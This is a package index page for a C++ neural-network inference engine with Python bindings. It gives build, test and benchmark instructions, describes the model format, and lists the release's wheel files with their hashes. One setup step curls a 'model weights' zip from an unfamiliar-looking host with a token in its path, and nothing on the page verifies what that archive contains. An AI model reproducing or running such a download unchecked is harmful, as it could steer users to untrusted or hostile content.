Skip to main content

Native C++ neural-network inference engine with Python bindings

Project description

C++ Neural Network Inference Engine

A pure-C++ inference engine for running neural network models on edge hardware. Models are defined by two files — a JSON graph and a binary weights file — and the engine handles scheduling, buffer allocation, and dispatch to high-performance kernels automatically.


Build

Requires CMake 3.16+, C++17, GCC or Clang with ARM NEON or x86 AVX2.

cmake -B build -DCMAKE_BUILD_TYPE=Release
cmake --build build -j

OpenBLAS and OpenMP are detected automatically and used when available.


Download model weights for tests and examples

curl -O  https://vis.stellondash.top/pass_a860c2f9fd/dg_datasets/cpp_inf_engine_weights_3.zip
unzip -q cpp_inf_engine_weights_3.zip
rm cpp_inf_engine_weights_3.zip

Examples

Image classification

./build/image_classify \
    --arch model_defs/resnet101_arch.json \
    --weights weights/resnet101_int8.bin \
    --image ./test_assets/imagenet/00ad724f_857.jpg 

Kitten TTS

./build/kitten_demo \
    --arch    model_defs/kitten_fp32_15m_arch.json \
    --weights weights/kitten_fp32_15m.bin \
    --voice   weights/voices_kitten_15m/expr-voice-2-f.bin \
    --ids     "0,131,51,158,16,61,156,86,54,68,16,61,156,51,158,16,131,156,86,54,68,16,44,43,102,16,81,83,16,61,156,51,158,16,131,156,57,158,123,16,3,16,72,56,46,16,81,83,16,131,156,86,54,68,16,131,51,158,16,61,156,86,54,68,16,69,158,123,16,61,156,51,158,16,131,156,86,54,68,16,48,76,158,123,16,131,156,135,123,16,4,0" \
    --out-wav output_15m.wav

Tests

# Run all tests (CPU layer tests + CUDA layer tests if a GPU is present + model tests)
./build/run_tests

# CPU only
./build/run_tests --cpu

# CUDA only (skips CPU layer tests)
./build/run_tests --cuda

Runs layer unit tests (every op type) followed by end-to-end model tests. The same layer tests run on both backends — layers that are not yet GPU-capable are skipped with (skip: layer requires Host memory). Prints All tests passed. on success or SOME TESTS FAILED. on failure, and exits non-zero if any test fails. Tests are organized across tests/test_layers.cpp and tests/test_models.cpp.


Benchmarks

# All models, default settings
./build/bench_all

# Individual benchmarks
./build/bench_image   --data test_assets/imagenet --threads 1 8

Sample output (bench_all, ARM64 8-core):

=== Image classification (threads=8) ===
resnet101_int8   top-1: 84.6%   avg: 9.7 ms   96.7 img/s

Model format

Every model is described by two files.

JSON arch — the computation graph:

{
  "model": "resnet101",
  "input": { "h": 224, "w": 224, "c": 3, "scale": 0.018658448, "zp": -14 },
  "num_classes": 1000,
  "nodes": [
    { "name": "conv1",          "op": "conv_int8",  "in": "x",   "out": "t1" },
    { "name": "layer1.0.conv1", "op": "conv_int8",  "in": "t2",  "out": "t4" },
    { "name": "layer1.0.add",   "op": "add_int8",   "in": "t6",  "in2": "t3", "out": "t7" },
    { "name": "fc",             "op": "gemm_int8",  "in": "t139","out": "t140" }
  ]
}

Binary weights — all tensors packed in order (R1I8 for INT8, R1F3 for FP32). Each layer is matched to a JSON node by name.

The engine performs liveness analysis at load time to assign the minimum number of physical buffers (typically 2–3 for ResNet topologies).

Op types

Category Ops
INT8 conv_int8, gemm_int8, add_int8, maxpool_int8, avgpool_int8
FP32 conv/linear conv_fp32, gemm_fp32, add_fp32, maxpool_fp32, avgpool_fp32
Norm layernorm_fp32, ada_in1d_fp32, ada_layer_norm_fp32
Sequence lstm_fp32, conv1d_fp32, conv_transpose1d_fp32, attention_fp32
Activations snake1d_fp32, leaky_relu_fp32, sigmoid_fp32, tanh_fp32, exp_fp32, sin_fp32
Vision patch_prep, seqgemm_fp32, cls_extract_fp32
Signal stft_fp32, istft_fp32, sine_gen_fp32
Misc embedding_fp32, upsample_nearest1d_fp32, concat1d_fp32, length_regulate_fp32

Generating arch files

# Templates for all supported image architectures
python3 tools/image/gen_arch_image.py --out model_defs/

# Reconstruct from an existing binary
python3 tools/image/gen_arch_image.py \
    --from-bin weights/resnet101_int8.bin \
    --model resnet101 --in-scale 0.018658448 --in-zp -14 \
    --out model_defs/resnet101_arch.json

Python bindings

See docs/python.md.


Project structure

├── src/
│   ├── model.cpp/.hpp        # Generic graph loader, buffer allocator, forward pass
│   ├── layers/               # Stateful ILayer subclasses (one per op type)
│   ├── ops/                  # Stateless compute kernels (GEMM, conv, attention, …)
│   ├── models/               # High-level model APIs (ImageClassifier, KittenModel)
│   └── utils/                # json.hpp, audio.hpp, stb_image.h
├── examples/
│   ├── image_classify/       # Image classification demo
│   ├── kitten_demo/          # KittenTTS demo
│   └── test_multiio/         # Multi-input/output graph test
├── bench/
│   ├── bench_all.cpp         # Run all benchmarks
│   ├── image_bench.cpp/.hpp  # Image classification benchmark
│   └── kitten_bench.cpp/.hpp # KittenTTS benchmark + output verification
├── tools/
│   ├── image/                     # image/gen_arch_image.py, extract_weights_image.py
│   ├── kitten/                    # gen_arch_kitten.py, extract_weights_kitten.py, pytorch/, onnx/
│   └── lm/                        # gen_arch_lm.py, extract_weights_lm.py, gen_test_assets_lm.py
├── python/
│   ├── bindings.cpp          # pybind11 module (InferenceModel, InputSpec, set_backend)
│   ├── test_bindings.py      # Automated test suite
│   └── examples/
│       └── inference.py      # ResNet-50 image classification: top-5 + op profile
├── model_defs/               # Arch JSON files for all supported models
├── test_assets/
│   └── imagenet/             # 52 labelled ImageNet validation images
├── docs/
│   └── python.md             # Python bindings documentation
└── CMakeLists.txt

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distributions

No source distribution files available for this release.See tutorial on generating distribution archives.

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

kitten_inference-0.1.0-cp314-cp314-win_amd64.whl (356.8 kB view details)

Uploaded CPython 3.14Windows x86-64

kitten_inference-0.1.0-cp314-cp314-manylinux_2_27_x86_64.whl (471.5 kB view details)

Uploaded CPython 3.14manylinux: glibc 2.27+ x86-64

kitten_inference-0.1.0-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (527.4 kB view details)

Uploaded CPython 3.14manylinux: glibc 2.27+ x86-64manylinux: glibc 2.28+ x86-64

kitten_inference-0.1.0-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl (659.7 kB view details)

Uploaded CPython 3.14manylinux: glibc 2.27+ ARM64manylinux: glibc 2.28+ ARM64

kitten_inference-0.1.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl (482.9 kB view details)

Uploaded CPython 3.14manylinux: glibc 2.17+ x86-64

kitten_inference-0.1.0-cp314-cp314-macosx_11_0_x86_64.whl (492.7 kB view details)

Uploaded CPython 3.14macOS 11.0+ x86-64

kitten_inference-0.1.0-cp314-cp314-macosx_11_0_arm64.whl (428.4 kB view details)

Uploaded CPython 3.14macOS 11.0+ ARM64

kitten_inference-0.1.0-cp313-cp313-win_amd64.whl (354.1 kB view details)

Uploaded CPython 3.13Windows x86-64

kitten_inference-0.1.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (527.3 kB view details)

Uploaded CPython 3.13manylinux: glibc 2.27+ x86-64manylinux: glibc 2.28+ x86-64

kitten_inference-0.1.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl (658.6 kB view details)

Uploaded CPython 3.13manylinux: glibc 2.27+ ARM64manylinux: glibc 2.28+ ARM64

kitten_inference-0.1.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl (482.7 kB view details)

Uploaded CPython 3.13manylinux: glibc 2.17+ x86-64

kitten_inference-0.1.0-cp313-cp313-macosx_11_0_x86_64.whl (492.7 kB view details)

Uploaded CPython 3.13macOS 11.0+ x86-64

kitten_inference-0.1.0-cp313-cp313-macosx_11_0_arm64.whl (443.6 kB view details)

Uploaded CPython 3.13macOS 11.0+ ARM64

kitten_inference-0.1.0-cp313-cp313-android_24_arm64_v8a.whl (666.2 kB view details)

Uploaded Android API level 24+ ARM64 v8aCPython 3.13

kitten_inference-0.1.0-cp312-cp312-win_amd64.whl (354.1 kB view details)

Uploaded CPython 3.12Windows x86-64

kitten_inference-0.1.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (527.1 kB view details)

Uploaded CPython 3.12manylinux: glibc 2.27+ x86-64manylinux: glibc 2.28+ x86-64

kitten_inference-0.1.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl (658.6 kB view details)

Uploaded CPython 3.12manylinux: glibc 2.27+ ARM64manylinux: glibc 2.28+ ARM64

kitten_inference-0.1.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl (482.6 kB view details)

Uploaded CPython 3.12manylinux: glibc 2.17+ x86-64

kitten_inference-0.1.0-cp312-cp312-macosx_11_0_x86_64.whl (492.7 kB view details)

Uploaded CPython 3.12macOS 11.0+ x86-64

kitten_inference-0.1.0-cp312-cp312-macosx_11_0_arm64.whl (443.5 kB view details)

Uploaded CPython 3.12macOS 11.0+ ARM64

kitten_inference-0.1.0-cp311-cp311-win_amd64.whl (351.8 kB view details)

Uploaded CPython 3.11Windows x86-64

kitten_inference-0.1.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (526.3 kB view details)

Uploaded CPython 3.11manylinux: glibc 2.27+ x86-64manylinux: glibc 2.28+ x86-64

kitten_inference-0.1.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl (655.9 kB view details)

Uploaded CPython 3.11manylinux: glibc 2.27+ ARM64manylinux: glibc 2.28+ ARM64

kitten_inference-0.1.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl (481.6 kB view details)

Uploaded CPython 3.11manylinux: glibc 2.17+ x86-64

kitten_inference-0.1.0-cp311-cp311-macosx_11_0_x86_64.whl (491.4 kB view details)

Uploaded CPython 3.11macOS 11.0+ x86-64

kitten_inference-0.1.0-cp311-cp311-macosx_11_0_arm64.whl (442.3 kB view details)

Uploaded CPython 3.11macOS 11.0+ ARM64

kitten_inference-0.1.0-cp310-cp310-win_amd64.whl (350.9 kB view details)

Uploaded CPython 3.10Windows x86-64

kitten_inference-0.1.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (524.6 kB view details)

Uploaded CPython 3.10manylinux: glibc 2.27+ x86-64manylinux: glibc 2.28+ x86-64

kitten_inference-0.1.0-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl (654.2 kB view details)

Uploaded CPython 3.10manylinux: glibc 2.27+ ARM64manylinux: glibc 2.28+ ARM64

kitten_inference-0.1.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl (479.9 kB view details)

Uploaded CPython 3.10manylinux: glibc 2.17+ x86-64

kitten_inference-0.1.0-cp310-cp310-macosx_11_0_x86_64.whl (489.9 kB view details)

Uploaded CPython 3.10macOS 11.0+ x86-64

kitten_inference-0.1.0-cp310-cp310-macosx_11_0_arm64.whl (440.9 kB view details)

Uploaded CPython 3.10macOS 11.0+ ARM64

kitten_inference-0.1.0-cp39-cp39-win_amd64.whl (351.0 kB view details)

Uploaded CPython 3.9Windows x86-64

kitten_inference-0.1.0-cp39-cp39-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (525.1 kB view details)

Uploaded CPython 3.9manylinux: glibc 2.27+ x86-64manylinux: glibc 2.28+ x86-64

kitten_inference-0.1.0-cp39-cp39-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl (654.6 kB view details)

Uploaded CPython 3.9manylinux: glibc 2.27+ ARM64manylinux: glibc 2.28+ ARM64

kitten_inference-0.1.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl (480.4 kB view details)

Uploaded CPython 3.9manylinux: glibc 2.17+ x86-64

kitten_inference-0.1.0-cp39-cp39-macosx_11_0_x86_64.whl (489.9 kB view details)

Uploaded CPython 3.9macOS 11.0+ x86-64

kitten_inference-0.1.0-cp39-cp39-macosx_11_0_arm64.whl (441.1 kB view details)

Uploaded CPython 3.9macOS 11.0+ ARM64

kitten_inference-0.1.0-cp38-cp38-win_amd64.whl (350.7 kB view details)

Uploaded CPython 3.8Windows x86-64

kitten_inference-0.1.0-cp38-cp38-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (524.5 kB view details)

Uploaded CPython 3.8manylinux: glibc 2.27+ x86-64manylinux: glibc 2.28+ x86-64

kitten_inference-0.1.0-cp38-cp38-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl (654.3 kB view details)

Uploaded CPython 3.8manylinux: glibc 2.27+ ARM64manylinux: glibc 2.28+ ARM64

kitten_inference-0.1.0-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.whl (480.0 kB view details)

Uploaded CPython 3.8manylinux: glibc 2.17+ x86-64

kitten_inference-0.1.0-cp38-cp38-macosx_11_0_x86_64.whl (489.8 kB view details)

Uploaded CPython 3.8macOS 11.0+ x86-64

kitten_inference-0.1.0-cp38-cp38-macosx_11_0_arm64.whl (440.7 kB view details)

Uploaded CPython 3.8macOS 11.0+ ARM64

File details

Details for the file kitten_inference-0.1.0-cp314-cp314-win_amd64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp314-cp314-win_amd64.whl
Algorithm Hash digest
SHA256 2e29409c0e88d926cede9cf9382b411057eb3e5ecad78530cc0fdf1e853b967d
MD5 0dcabe3b7215af0b535f70df49bb1928
BLAKE2b-256 9f58a14e55b65e473babb36b2324832405091a55da8ec0a491ccddc09de2c61a

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp314-cp314-manylinux_2_27_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp314-cp314-manylinux_2_27_x86_64.whl
Algorithm Hash digest
SHA256 28adae49af74b93b8cef8646765dae48314d0f2f12d10f4c116988cda1eab67a
MD5 de60e2b6496b4d1028b9ecc0d3831240
BLAKE2b-256 20ef11d1487f657210ba523e95c020daf6cb579da16192446b8dca2572fea915

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 b87c0b1d8098da91e11a02ec42dc7eba1ab65c2e6d78345f6c04a4a18f1d2e1d
MD5 9b9f1c00e0487b4a17b95a3243d57368
BLAKE2b-256 b3db58b5ebd11181024695a97e64b564190767de1c4160396afe18f90cc4818a

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 20b930ce4de549284e2229ec59fa11f4fb43b3cb53d6b0572dc6d0e5543182bd
MD5 2823cfbfb81328c357b89d51e2d49416
BLAKE2b-256 458103c0d3e7551af6271b91cc0ad8c34ccc2bf3bd09a81dc8ddf1e9a0a1ad60

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl
Algorithm Hash digest
SHA256 f3a111d76b3c3b28bb41a727247ae3891f4f01f10114c1c4d2fe86bf357426bd
MD5 71663852302c701685d8ab4939b60ff7
BLAKE2b-256 ddfe8daf7e5b3254a36e112f119f3392f83b9c672968efdc8bbc9a7a30f7f72f

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp314-cp314-macosx_11_0_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp314-cp314-macosx_11_0_x86_64.whl
Algorithm Hash digest
SHA256 44f761ea78c6a1a2d39536d4ef23f5d08f1f643238d333218113c8b3c3c63e18
MD5 e2f4317e74417c2d88a7f5be1bfad332
BLAKE2b-256 514258cd8f097b9fa27b76324e77eecf2bc325f6e0705b8418b505edd72fd47a

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp314-cp314-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp314-cp314-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 e2456cbc086a9f9f097639818ff97f6ac883052b0ac8d9f63272021ae5dd9fd7
MD5 abfd945c52fb7bff99b4cfc54c2548a9
BLAKE2b-256 2dbf59178744f622aebb564a69de960cd081d0fd62a15b4db82b68dde37013e4

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp313-cp313-win_amd64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp313-cp313-win_amd64.whl
Algorithm Hash digest
SHA256 f4869ce7aecf57706fde61138c5959169915a0d4351a527d815692fc80e23273
MD5 5042b6a20c03c5120bd00d725d8fe72c
BLAKE2b-256 43a71c9053224eda41c8f3f7446f01ddfed877c2cf6679c6c6a8ac540347cd66

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 af196c36fc6dc084577023312a06f1898b750dd8173dd059cc4fccebb63c757c
MD5 7f4acf850e9e8c2292ed678610306c40
BLAKE2b-256 38794953459255c0e9fed53b496414b62add2c283007d39af2ce476bf7f88cd5

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 5b719de6e3c34610f19aa3e931b9893f9eb68f769037061111ec90b5071078e7
MD5 04710c18b34d9bb17639f338ff00f2fb
BLAKE2b-256 22852e73a104cfc9af02a22eb0c6e1673ec205041832be8a0f306123faf3f281

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl
Algorithm Hash digest
SHA256 81c29d487d1301b455731521ff7f8c6eea12de75d8514527106ca59a567b60dc
MD5 56bca552fb46700c12baa87a7e370031
BLAKE2b-256 507efdc2a3176abd24eec962b38e705cfc5655e548c0966c799d688e5e9025da

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp313-cp313-macosx_11_0_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp313-cp313-macosx_11_0_x86_64.whl
Algorithm Hash digest
SHA256 78b714c7846fd8b7266bf94d0afd5b22a3d8df393ff19a1e6d00c5b4d1686f81
MD5 10a435e6b374a27ed3058cb6817cf581
BLAKE2b-256 1856a1090e4806243ac7c5c4086d59a64501f675405f8c4235ac46f06a339223

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp313-cp313-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp313-cp313-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 874b414efe66497f6b7c970f3dfc47d646af6721eec8bcded4c91ad9283a1fca
MD5 925b86ba0ae5a8b6ad21ce0e041b94a4
BLAKE2b-256 44b7e2071d9dcadffb4f68352847f0e32ebc9fa1d318f3b69b31b7fc7c946100

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp313-cp313-android_24_arm64_v8a.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp313-cp313-android_24_arm64_v8a.whl
Algorithm Hash digest
SHA256 920a88cedcefad18a48b2c8c0ca88ff1bbf9f8cb281951ddaad65ca7ac6d459d
MD5 1e37a4451af37159c5a10ec403b813f1
BLAKE2b-256 45b2030d00bf91e4ca077ec814b7b64635b8afb7c409e569605add515888bbee

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp312-cp312-win_amd64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp312-cp312-win_amd64.whl
Algorithm Hash digest
SHA256 c2fbace6930d8ea5c28d8bb1c1033826ee8d497ae7e802f2f3a4bb6429205ba9
MD5 cb5a34ac62c55036a0e066a6c34e6085
BLAKE2b-256 8561580e8f5daa5598144cdf82adf4610cec949466abb90a549982a9e166d1d5

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 4a7c8a2c332c1dfc1266ec755ba687e09cabd59257ed5b3867c7e03b9f2e1797
MD5 f80c4021807cde6d798635563bad18df
BLAKE2b-256 d473470e58ab36b58dfafbaec739ba7cbd1f71a8c2a66f9c9e16f8720fe6cdc1

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 26ca1a76ea7d10efb099ab4b1f52a25299ef3c7f00995eb6cbe4958d0ad76180
MD5 ed9aae7f5a4067f76582b0cdb66ff962
BLAKE2b-256 19bf1557d39efa6009322d071d2a546bdb24ebe05028aa76e97b861ae1ed02eb

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl
Algorithm Hash digest
SHA256 0602c65b819fbfdb877dfdb1b3a6cb334d6748fe08ec36dabceb5967ccd56f8b
MD5 49dc340814e99bb50003429286d37e9e
BLAKE2b-256 acc378c9d6f19aa23e0437fa9f650579c4a46a348f074fd6823edea6a9448af6

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp312-cp312-macosx_11_0_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp312-cp312-macosx_11_0_x86_64.whl
Algorithm Hash digest
SHA256 e9c397a947be23ddcd8c805350df59acbd1a382c7cd63a012b501494f137458e
MD5 a11eb3a004d9fdf249b8b39af8f56e7c
BLAKE2b-256 791e53b3c9de18498880fd6dca958ed4d548293bf09fa812ddce9214360ccca6

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp312-cp312-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp312-cp312-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 2529e8ccace2d778e7ee25d8d6ac29b1820100ea1047e37387d26b56c2a8bc02
MD5 ff243f54350627968f8c720793d92891
BLAKE2b-256 7371eb109b72a64a8f34f900a99e632c020cc97eeae32952d4c28c1f7d1ad7b2

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp311-cp311-win_amd64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp311-cp311-win_amd64.whl
Algorithm Hash digest
SHA256 932e3b9916a64337cc096afa9623096f0ca0eb24a656069b0f8bc5ca5f674ba3
MD5 7793432ebfbfee790d47f64b82e1f898
BLAKE2b-256 a8727518900678d79aee15eb238e63ccb9caae26ad456a1a794493dea5fa99bd

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 086a604fa43b936760b5f055493c274e5817be31619c118df103c8aa8f4b1c9a
MD5 c0657368514dd8b599988885447e6221
BLAKE2b-256 dc007aef12799b7a397e7166704e19ab4eb137fcb971e3c3acb7d2f0f9a084e6

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 ac11643cf66c34ed56a7ff03a4f632e9821feb2fc0a8f6bdbb1d6a22dbe163aa
MD5 46a7bef0d6af60ab92523ab5ec427ea4
BLAKE2b-256 51f9754e5a51529dc7267fc788141012a75b1b5b6e05d27e97db8ae828a8fe9b

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl
Algorithm Hash digest
SHA256 146f8f3d93444157efe0bcc491d423f92a1bddd6800ab598e440ad620b294b7e
MD5 ffe39bf59d2ac54a3f124bb1585b7711
BLAKE2b-256 a792798e948f9db3f0742d5fd21a694274976cc4d69f9ca27e66c9242470f77b

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp311-cp311-macosx_11_0_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp311-cp311-macosx_11_0_x86_64.whl
Algorithm Hash digest
SHA256 3dec870605a6172cb9237e9231955332d88271cc4b3cc3daa9cba8fe274ef1fe
MD5 917934dcd85aced70b2f55c788d2c251
BLAKE2b-256 c8af029d1719bc83eb9e24df47391bb0c71b114e200917dc7281f73e8b7bc78b

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp311-cp311-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp311-cp311-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 6adda4f81fdb116d6141d4f20c985b346b0571c653a998e358ef132338d66062
MD5 831befb6b3cf0684530b519421720a90
BLAKE2b-256 c6c60219cb9b18d23363aad997ee2e81e096e5b6b8f771f483fe85b325e07e0c

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp310-cp310-win_amd64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp310-cp310-win_amd64.whl
Algorithm Hash digest
SHA256 104e0b91bf99676a9b7fd5732594863b0da3cb6a24d9e21db1a9169a8d296c19
MD5 f92a31f0fbd012ad211161c2baad3dcf
BLAKE2b-256 24931530ea24f364c42707f7b62450c65f86e000232f98040a032fcb053f4d23

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 10e5b2fae4d28bea3596ea6a55181a0c1a01ddd14942ebc27c99cfa0260624a5
MD5 1a6350e82ea7da975f8d28f3891a9e93
BLAKE2b-256 217970b093371e56e6e6ec53d17b3cdb1b2bcfc15964e5d5dc4272ac5eb815f3

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 c2c037ad7eb2b0e7e977b9d79355a07b14303d60f81d9e52be05604f8762585f
MD5 f64fa83e70f0ed7e49e42db83722dc59
BLAKE2b-256 c340bb7f5aeae204e1562bdb3a18b00d5c8d123442f27d7c1e14524cc279d0b8

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl
Algorithm Hash digest
SHA256 2fb773419383c1a6b7135a986da88e94ce26289abb3c7fd2e4095d0916342e6f
MD5 61150d1181a4d7c492ba4d101930b255
BLAKE2b-256 6d0633385d59904ded30f954aa202d65520e028deeacb372f06d1d37ad6f8c62

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp310-cp310-macosx_11_0_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp310-cp310-macosx_11_0_x86_64.whl
Algorithm Hash digest
SHA256 db3034009a186be219e28a2cb056706c5ba987b537c11579ca53e06699a50f78
MD5 f47f93de436acf1f372d574deea78210
BLAKE2b-256 33ced7ad3542ac7beed3b7ce5004aa63fc7f8567e0f3ea96ad87d95fbbc7a5a6

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp310-cp310-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp310-cp310-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 0f85a4850d8b939e93f6538ac24452db7305f42fb26f8a1dcb3aa7bc1736c9d5
MD5 3b8567d122f35d9947c74990605c35ea
BLAKE2b-256 79fa22a2c9f43461f1c28f8ae25097d3e19d898d2957ee16e0782e4fd76254bb

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp39-cp39-win_amd64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp39-cp39-win_amd64.whl
Algorithm Hash digest
SHA256 e6f6bf5190a45c98d58aaef73be391e763aae1de9e58d6fd70cebda8a4ec7d3f
MD5 a4100f1092bf9781c4b5d2b27c5f25aa
BLAKE2b-256 640547bbe8a98880e37cdd430d6012117b4f88ef1071db1f39ba1e0d217907a0

See more details on using hashes here.

File details

